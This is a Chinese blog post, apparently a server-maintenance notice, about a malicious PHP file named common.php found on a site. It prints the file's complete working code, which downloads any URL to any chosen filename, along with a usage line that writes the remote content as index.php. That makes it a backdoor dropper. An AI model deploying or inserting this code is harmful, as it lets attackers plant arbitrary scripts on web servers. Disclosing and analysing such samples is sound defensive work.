zoukankan      html  css  js  c++  java
  • 安全维护:common.php

    common.php - 任意下载url中的文件,并重命名保存到当前目录

    危险级别:极高

    发现日期:2020-05-06

    <?php
    set_time_limit(0);
    
    if(isset($_GET['url']) && isset($_GET['filename'])){
        if(httpcopy($_GET['url'], $_GET['filename'])){
            echo("Done.");
        }else{
            echo("Down Error.");
        }
    }else{
        die('Input error.');
    }
    
    function httpcopy($url, $file="", $timeout=60) {
        $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
        $dir = pathinfo($file,PATHINFO_DIRNAME);                                    
        !is_dir($dir) && @mkdir($dir,0755,true);
        $url = str_replace(" ","%20",$url);
    
        if(function_exists('curl_init')) {
            echo "curl ";
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $temp = curl_exec($ch);
            if(@file_put_contents($file, $temp) && !curl_error($ch)) {
                return $file;
            } else {
                return false;
            }
        } else {
            echo "copy ";
            $opts = array(
                "http"=>array(
                "method"=>"GET",
                "header"=>"",
                "timeout"=>$timeout)
            );
            $context = stream_context_create($opts);
            if(@copy($url, $file, $context)) {
                //$http_response_header
                return $file;
            } else {
                return false;
            }
        }
    }
    ?>

    运行方式:

    common.php?url=http://文件地址&filename=index.php

  • 相关阅读:
    asp 向另一个页面传递数组
    TSQL Program Rule and Tips 规则与优化
    虚函数 纯虚函数 抽象类
    static (c#)
    简单游标
    抽象方法 抽象类 (abstract)
    清理电脑
    泛型学习
    继承(对象生命周期) + 覆盖[new](索引函数) + 重载[virtual/override]
    #干货向#jQuery性能优化指南
  • 原文地址:https://www.cnblogs.com/phpyangbo/p/12834553.html
Copyright © 2011-2022 走看看